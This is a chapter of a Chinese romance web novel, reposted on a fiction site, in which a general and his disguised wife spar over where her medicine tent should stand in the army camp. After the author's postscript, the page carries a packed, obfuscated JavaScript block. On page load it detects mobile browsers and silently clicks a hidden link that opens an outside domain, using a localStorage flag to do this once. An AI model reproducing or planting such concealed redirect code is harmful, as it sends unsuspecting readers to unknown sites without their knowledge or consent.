第五文学网 > 言情小说 > 药手回春 > 第二百二十二章 并肩

第二百二十二章 并肩

    “爷,饭菜好了。”

    长福和长琴帐外叫了一声,终于化解了两人之间剑拔弩张气氛,沈千山叹了口气,心想算了,到后,阿碧不是退步了吗?她答应明天起就不再去伤员营地了。想到此处,便沉声道:“行了,端进来吧。”

    饭菜有些简陋,不过是两碗白米饭,一碗炒白菜,一碗红烧羊肉,一碗豆腐,一碗清蒸河鱼。这还是因为沈千山吩咐了做点好菜,平日里不过荤素搭配两个菜肴而已。

    两人默然用完饭,沈千山见宁纤碧不太喜欢吃羊肉,确,战场上菜不能够像王府中那般,讲究食不厌精脍不厌细,腥膻味儿很浓,他叹了口气,摇头道:“肉食好歹要吃一点儿,这是战场,体力必须充足。”

    宁纤碧笑道:“我不太喜欢腥膻,你吃吧。反正我又不上战场。等吃完了,还有事和你商量。”

    沈千山点点头,两人默默吃完饭,他便问道:“你有什么事情要和我商议?”

    宁纤碧道:“你还记得我之前和你说过话吗?我要做药,你给我一个大帐篷,帮我安排些用具,到时如非必要,我就足不出户了,如何?这回可以治愈你受伤真心了吧?”

    沈千山听了这话,先是一喜,紧接着便是一皱眉头:“喂!你不会是要把那个大帐篷当做百草阁,集工作吃饭睡觉于一身吧?”

    “爷果然是聪明绝顶。”宁纤碧笑吟吟道,却见沈千山一拍桌子站起身,似是想要吼什么,但旋即就意识到这里是军营,动静小点为好,不然那不是隔墙有耳,那是四面八方都有耳朵。

    “你……你想把我晾何处?”压低了声音。沈千山咬牙切齿问。

    “你是主帅,自然要帅帐。”宁纤碧纳闷看着他:“这个还用问我吗?”

    “可你是我妻。”沈千山咬牙,阿碧究竟是真糊涂还是装糊涂?她会不明白自己心意?

    “那又怎么样?府里不也是分房睡吗?你都知道咱们是有名无实了。”

    宁纤碧冷哼一声,却见沈千山皱眉沉思了一会儿,喃喃道:“那战场上分你一顶帐篷,回府后就同……同住一个屋檐下?”说到这里,似乎也觉着自己这打蛇随棍上有些无耻,便没再说下去。

    宁纤碧心中这个郁闷,究竟她是哪里暗示对方什么了吗?这家伙究竟是什么样脑回路啊?自己战场上和他分开,回府就要一起。这么奇葩结论到底他是从哪里得来?

    然而看着沈千山那垂着不敢看自己眼睛和微红帅气面庞,宁纤碧心竟也是一窒,欲待拒绝。那伤人话却怎也不能断然出口。不由心里暗骂自己没用,嘴上却仍是缓缓道:“你如果不怕兵士们传你有男风之好,那我就把你这帅帐当炼药基地了。”

    宁纤碧是男装,她化妆本领高明,虽然身材矮小。却将面目装扮有些粗犷,若非沈千山长琴等熟悉之人,不仔细看绝对分辨不出来。所以那些将领兵士都以为这是宁德荣带来一些医馆实习生,虽然清俊,却并没有人对她们这些扮成男装女子起疑。

    也就是说,至今军营中除了少数人外。无人知道宁纤碧身份,如果有一个医生专门和元帅同起同卧,确是很奇怪事。

    不过沈千山那是多聪明人。一听宁纤碧这话并非毫无转圜余地,当下不由大喜,小声道:“我身为元帅,有一个专属军医也不是什么大事儿……”

    不等说完,就听宁纤碧气哼哼道:“你从前都没有过。怎么这一回转了性子?总之不要说了。哼!刚刚爷那架势吓人很,那咆哮声吓人。我胆子很小,若是同一帅帐中,只怕会被爷活生生吓死。”

    沈千山嘴角抽了抽,心想拉倒吧,你胆子还小?你把天底下那么多弱质女流置于何地?不过这话可不敢说出来,不但不能说,还得陪着笑道歉,柔声道:“是我错,之前不该对你吼,我这不也是担心你吗?”

    宁纤碧身子抖了一抖,沈千山这人刚强至极,就算他喜欢自己,对自己已经算得上温柔如水,可是像现这般赔笑认错,也是从未有过事儿,刹那间只觉得鸡皮疙瘩都起来了,心中却是不由自主轻轻一荡,似乎有几圈涟漪慢慢荡了开去。

    “你不用多想了,赶紧替我准备帐篷,我可不愿意和你住一处,免得坏了名节,让人嚼舌头,我还要不要活了?”宁纤碧站起身,觉得自己不能再任由这厮蛊惑下去,因此斩钉截铁说完,便昂首迈步从帅帐内走出去。

    “免得坏了名节?让人嚼舌头?你要不要活?”

    战场上面对千军万马仍然气势如虹小沈元帅都懵了,看着夫人离去纤细背影,喃喃将她话重复了一遍,接着便悲愤一脚踢上了矮几,恨恨低吼道:“你骗谁啊?刚才是谁说言刀语箭,名节妇德你根本都不放眼里?现就想起来了?再说我和你是夫妻,怎么就能坏了你名节?可恶……太可恶了,不答应就不答应,竟然敢耍本帅,你……你你你……气死我了,恃宠而骄,哼!这就是标准地道恃宠而骄,真气死我了。”

    “爷,那……到底要不要替奶奶预备帐篷啊?”

    长琴和长福外面站好一会儿了,什么?偷听?怎么可能?我们只是不敢进来而已。

    因为做好了心理建设关系,所以两人面对沈千山怀疑眼神,也仍然是一副大义凛然状,多次惨痛经验表明,这种时候表现出心虚就等着做炮灰吧。

    幸好沈千山现心思也不他们身上,不然长福或许还有可能瞒过去,长琴却是骨头里就是个憨厚人,绝对会露出破绽。但俗语说好人有好报,正是因为他这憨厚性子,反而傻人有傻福,平日里沈千山对他比对长福还要稍微好一点。

    “嗯,去预备吧,预备一个大帐篷。”

    沈千山沉默了半天,终于还是叹了口气,没办法,战场上不能儿女情长,自己这是帅帐,不仅仅是自己休憩之所,还是和将领们议事之地,让宁纤碧这里做药,确实不合适。

    “好嘞。”

    长琴和长福对自家爷脸上那肉痛表情都能感同身受:多好机会啊,送到嘴边大肥肉,哦不对,是送到嘴边奶奶,偏偏没机会下口,这简直就是上天对爷这个痴情种子大惩罚了。

    两个小厮都是越想越替沈千山抱不平:苍天啊大地啊,我们爷到底做错了什么?您要这么惩罚他?

    “嗯,就我帅帐旁边,紧挨着我帅帐,明白吗?”

    长琴长福正要出去执行沈千山命令,就听自家爷又吩咐了一句,一时间,两人不由得都愣住了。

    沈千山帅帐乃是整个庞大军营中心,方圆五百米之内没有其他营帐,以体现出元帅至高无上权威,这不是搞特权,战场上,该树立威严必须要树立,如此才能让将士们心生敬畏听从指挥。

    “爷,这……这好像不太合规矩吧?”长琴擦了一把头上冷汗,憨厚问。

    “这种规矩,我想我还是能说了算吧?”沈千山看着心腹小厮,这种时候他就恨长琴憨厚了,你就不能像长福一样知道点变通吗?

    看着爷微微眯起眼睛,长福二话不说,拉着长琴就走:笑话,爷身为元帅,人家就想建个夫妻帐篷怎么了?人家这可是夫妻并肩作战,满朝文武,就算知道了,谁还能说出半个不字儿?哪一家夫人能有奶奶这份魄力?

    “哼,你有张良计,难道我就没有过墙梯?”

    看着两个小厮离去,想象着明天早上宁纤碧看到帐篷竖起来模样,沈千山得意笑了起来。

    而宁纤碧第二天站那连夜支起,和帅帐一样大帐篷前时,她脸上囧囧有神表情确取悦了沈千山。

    “爷,你是耍妾身玩儿吧?这么大帐篷?你是怕将士们都不知道我身份?”

    沈千山帅帐里,趁着对方吃早饭,将领们还没过来开会空挡,宁纤碧及时提出抗议:“不行,这个帐篷要改一下。”

    “你怎么这么麻烦?是你要大帐篷,给你建了和帅帐一样大,你又不满意,女人心就算是海底针,也不能这么欺负人啊。”

    沈千山早就料到宁纤碧反应,此时非常熟练倒打一耙,接着老神喝了一口粥,又叼了一片咸黄瓜:“行了,边吃边说,你也赶紧吃点儿,等下将领们就要来了。”

    “可是和帅帐一样大,这太显眼了。”宁纤碧皱着眉头,忽然冷笑一声道:“还有,为什么要邻着帅帐?这难道不是对元帅威严挑战和亵渎?”

    却不料沈千山吃了一口饭,咽下去,然后抬起头看向她,脸上是郑重认真神色,沉声道:“不是挑战和亵渎,是因为你要做事,也是关系到这场战争胜败存亡关键。是因为你是我妻子,如今你这里,就等于是和我并肩作战。”

    ps:

    呼,夫妻两个渐入佳境了,求月票推荐票


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))